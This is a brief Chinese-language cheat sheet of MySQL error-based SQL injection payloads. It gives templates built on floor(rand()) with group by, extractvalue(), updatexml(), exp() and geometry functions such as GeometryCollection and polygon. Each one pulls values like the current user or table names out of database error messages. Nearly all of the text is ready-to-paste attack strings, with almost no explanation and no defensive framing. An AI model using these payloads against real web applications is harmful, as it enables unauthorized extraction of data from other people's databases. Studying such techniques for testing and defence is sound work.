1、floor()函数
原理:
利用rand()函数与group()函数的相互冲突,floor()是向下取整函数,floor(9.99)=9.0
语法结构:
username=admin‘ and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,你想获取的数据的sql语句)x from information_schema.tables group by x )a) and ‘1‘ = ‘1
2、extractvalue()函数
语法结构:
extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)))
concat中添加要查询的语句
3、updatexml()函数
语法结构:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、exp()函数
语法结构:
and EXP(~(SELECT * from(select user())a))
5、归类
GeometryCollection()
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))
polygon()
id =1 AND polygon((select * from(select * from(select user())a)b))
multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))
multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))
linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))